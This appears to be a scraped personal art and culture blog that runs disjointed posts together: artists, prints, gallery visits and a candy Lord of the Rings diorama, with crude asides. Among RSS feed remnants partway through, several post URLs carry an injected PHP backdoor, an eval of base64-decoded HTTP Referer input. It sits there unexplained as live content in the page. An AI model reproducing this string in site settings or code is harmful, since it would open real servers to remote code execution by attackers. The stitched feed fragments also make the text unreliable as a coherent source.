Richard Perez is a SF artist/illustrator.  I first mentioned dude here  but have been following his flickr photostream for a while now.   Super duper fun and creative stuff getting churned out on a regular basis.   He has a few prints up at his new shop, which I will be plunking down some cashish for shortly. 

Had to halt the music posts to talk about these crazy awesome ceramic sculptures I just stumbled across.  Eva Funderburgh is a ceramic artists based in Seattle.  I found her work yesterday after looking at her brother Dan’s house tour at design sponge.  Great stuff.  I can’t quite pinpoint what it reminds me of, but it feels sort of like a cross between something out of star wars, where the wild things are, and something that would have come out of the tar pits on Denver, the Last Dinosaur (how’s that for an awesome 80s pop culture reference?).  Anyway check out more at her flickr site.  More after the jump.

Love it.

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Earlier this week, I managed to reconnect with a friend in Spain who I lived with as an exchange student 10 years ago.   We got to reminiscing about the trip, and later on I happened to remember an art print that I bought at the Prado.  It was “Saturn Devouring his Child” by Goya.  For some reason, the painting resonated with me at the time.  Instinct says that as a 16 year old high school student, it was probably just because it was a dude eating a kid, but I like to think that I was a bit more refined than that.   It just so happens that the painting is still resonating really hardcore right now. Anyhow, by some happy coincidence, pop surrealist Luke Chueh has remixed the Goya painting into his trademark style for his new show, “From Light Cometh Darkness” out in LA. Chueh has long been one of my favorite contemporary artists so to see him take on, and do justice to, a classic like this warms my cockles.  I’m not gonna be able to get out to LA to see this stuff, so hopefully they’ll have prints available.  Superb blog Arrested Motion has more preview pics.

Closer to home, worth checking out are Elger Esser @ Sonnabend, Yoshitomo Nara @ Marianne Boesky, and Myoung Ho Lee @ Yossi Milo.

Allow me to take a momentary break from all the serious entertainment biz stuff I’ve been rambling about and share with you one of the most insane things I’ve seen in a while. My good friend Dave has an annual holiday project that involves combining copious amount of candy with classic Lord of the Rings battles. This year, he and his crew opted to take on the mines of Moria. The result is nothing short of spectacular. I mean how can you go wrong when you combine classic fantasy literature, jujubes, and tentacle rape? You be the judge.

Kiddie Cars by Adam Haynes

Life Of Mystery, An Illustrated Guide by Ray Fenwick

Untitled 2 (Raft) by Dan Boardman

Meadowlands by Joshua Lutz

Little Friends of Printmaking’s Re:Up poster

Make Your Own Path by Douglas Wilson

]]> http://saltpepperketchoop.com/2008/09/15/new-acquisitions/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://saltpepperketchoop.com/2008/08/04/happy-pills/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://saltpepperketchoop.com/2008/08/04/happy-pills/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 04 Aug 2008 14:00:44 +0000 Joe http://saltpepperketchoop.com/?p=72 My buddy Erik brought me back a present from a recent trip to Barcelona.  Happy Pills!

The “pills” are Haribo Happy Colas.  Talk about a happy overdose.  The unbearable lightness of being ain’t gonna get me any time soon, that’s for sure.  Behind the pills is an aspirin painting from the lovely folks over at Wants For Sale.  They’re an artist couple that paints items and then prices the paintings at the cost of the item.  Best $8.99 I’ve ever spent!

Tiki Kajiu gocco 3-pack by Jeff Lamm

Ergonine by Scott Hansen

i need to frame and hang all this stuff.

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Housed in an old printing factory right on the edge of the hudson river, the place is nothing short of cavernous. It’s filled with phenomenal natural light and huge open spaces which allow the foundation to show off ginormous art installations, some the size of football fields. I don’t claim to know a ton about modern art, but I know what I saw today was both stimulating and challenging. I’ll leave it there.

Richard Serra’s pieces have made their way here, and they’re even more interesting to walk around in an enclosed space versus out in the open. Andy Warhol’s got a room, Fred Sandback’s strings are all over the place, the list goes on and on. What was most interesting to me, though, was the basement of the galleries. Right now, the museum is exhibiting Tacita Dean’s STILLNESS piece. You step downstairs out of the light filled galleries and into a single room the size of half the building. The room is pitch black and completely silent except for the sounds of 6 projectors, each showing a different life-sized shot of choreographer Merce Cunningham performing his interpretation of John Cage’s 4′33. 4′33 is a silent composition. As such, Merce Cunningham doesn’t move. The video itself is nothing special but the presentation is a mindfuck and a half. Highly recommended.

Anyway, I’ve dilly dallied enough. Gotta go back to studying now. Send good vibes my way over the next couple of days, cuz lord knows I’m gonna need them.

Kylie Auldist – Just Say, Australian songstress’s jazzfunk laden debut album featuring the bamboos.
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Carlo Van De Roer’s “Orbs” Series

my new wallet (fu jfold ebay sellers)

This dude held up a Mickey D’s and sserved 12 years and is now winning a jingle contest for the Big Mac.

Chinese Assassin ’s dope new mixtape:

Lisa Candela’s new stuff:

Some other stuff too but that’s enough for now.

ranked in order of places worth having sex. yeah i know about the whole pool dryout thing but there are ways around that if you get creative.

Stumbled upon these today while pretending to pay attention to the wills bar prep lecture.

Carlos ramos is a California cartoonist.  He’s got a show opening tomorrow at the Corey Helford Gallery.  Ramos puts his spin on the dioramas we’re all too familiar with at natural history museums.  I’m digging it.  More after the jump.

If I had one, I would mark this though.

It’s the first of 4 new prints in Jesse LeDoux’s “Travels” Series

Available here for $20 individually or on a sliding scale for the set of 4.